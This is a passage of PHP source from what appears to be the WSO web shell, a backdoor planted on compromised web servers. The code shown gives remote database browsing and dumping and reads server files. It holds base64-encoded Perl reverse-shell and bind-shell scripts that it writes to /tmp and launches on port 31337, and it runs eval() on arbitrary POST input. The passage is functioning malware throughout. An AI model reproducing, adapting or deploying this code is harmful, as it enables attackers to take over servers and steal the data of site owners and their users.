1387 case "KOI8-U": $db->setCharset('koi8u'); break;
1388 case "cp866": $db->setCharset('cp866'); break;
1389 }
1390 $db->listDbs();
1391 echo "<select name=sql_base><option value=''></option>";
1392 while($item = $db->fetch()) {
1393 list($key, $value) = each($item);
1394 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1395 }
1396 echo '</select>';
1397 }
1398 else echo $tmp;
1399 }else
1400 echo $tmp;
1401 echo "</td>
1402 <td><input type=submit value='>>'></td>
1403 </tr>
1404 </table>
1405 <script>
1406 function st(t,l) {
1407 document.sf.p1.value = 'select';
1408 document.sf.p2.value = t;
1409 if(l!=null)document.sf.p3.value = l;
1410 document.sf.submit();
1411 }
1412 function is() {
1413 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1414 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1415 }
1416 </script>";
1417 if(isset($db) && $db->link){
1418 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1419 if(!empty($_POST['sql_base'])){
1420 $db->selectdb($_POST['sql_base']);
1421 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1422 $tbls_res = $db->listTables();
1423 while($item = $db->fetch($tbls_res)) {
1424 list($key, $value) = each($item);
1425 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1426 $value = htmlspecialchars($value);
1427 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1428 }
1429 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1430 if(@$_POST['p1'] == 'select') {
1431 $_POST['p1'] = 'query';
1432 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1433 $num = $db->fetch();
1434 $num = $num['n'];
1435 echo "<span>".$_POST['p2']."</span> ($num) ";
1436 for($i=0;$i<($num/30);$i++)
1437 if($i != (int)$_POST['p3'])
1438 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1439 else
1440 echo ($i+1)," ";
1441 if($_POST['type']=='pgsql')
1442 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1443 else
1444 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1445 echo "<br><br>";
1446 }
1447 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1448 $db->query(@$_POST['p3']);
1449 if($db->res !== false) {
1450 $title = false;
1451 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1452 $line = 1;
1453 while($item = $db->fetch()) {
1454 if(!$title) {
1455 echo '<tr>';
1456 foreach($item as $key => $value)
1457 echo '<th>'.$key.'</th>';
1458 reset($item);
1459 $title=true;
1460 echo '</tr><tr>';
1461 $line = 2;
1462 }
1463 echo '<tr class="l'.$line.'">';
1464 $line = $line==1?2:1;
1465 foreach($item as $key => $value) {
1466 if($value == null)
1467 echo '<td><i>null</i></td>';
1468 else
1469 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1470 }
1471 echo '</tr>';
1472 }
1473 echo '</table>';
1474 } else {
1475 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1476 }
1477 }
1478 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1479 echo "</td></tr>";
1480 }
1481 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1482 if(@$_POST['p1'] == 'loadfile') {
1483 $file = $db->loadFile($_POST['p2']);
1484 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1485 }
1486 }
1487 echo '</div>';
1488 wsoFooter();
1489}
1490function actionNetwork() {
1491 wsoHeader();
1492 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1493 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1494 echo "<h1>Network tools</h1><div class=content>
1495 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1496 <span>Bind port to /bin/sh [perl]</span><br/>
1497 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1498 </form>
1499 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1500 <span>Back-connect [perl]</span><br/>
1501 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1502 </form><br>";
1503 if(isset($_POST['p1'])) {
1504 function cf($f,$t) {
1505 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1506 if($w) {
1507 @fwrite($w,@base64_decode($t));
1508 @fclose($w);
1509 }
1510 }
1511 if($_POST['p1'] == 'bpp') {
1512 cf("/tmp/bp.pl",$bind_port_p);
1513 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1514 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1515 }
1516 if($_POST['p1'] == 'bcp') {
1517 cf("/tmp/bc.pl",$back_connect_p);
1518 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1519 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1520 }
1521 }
1522 echo '</div>';
1523 wsoFooter();
1524}
1525function actionRC() {
1526 if(!@$_POST['p1']) {
1527 $a = array(
1528 "uname" => php_uname(),
1529 "php_version" => phpversion(),
1530 "wso_version" => VERSION,
1531 "safemode" => @ini_get('safe_mode')
1532 );
1533 echo serialize($a);
1534 } else {
1535 eval($_POST['p1']);
1536 }
1537}
1538if( empty($_POST['a']) )
1539 if(isset($default_action) && function_exists('action' . $default_action))
1540 $_POST['a'] = $default_action;
1541 else
1542 $_POST['a'] = 'SecInfo';
1543if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1544 call_user_func('action' . $_POST['a']);
1545exit;
1546
1547</script>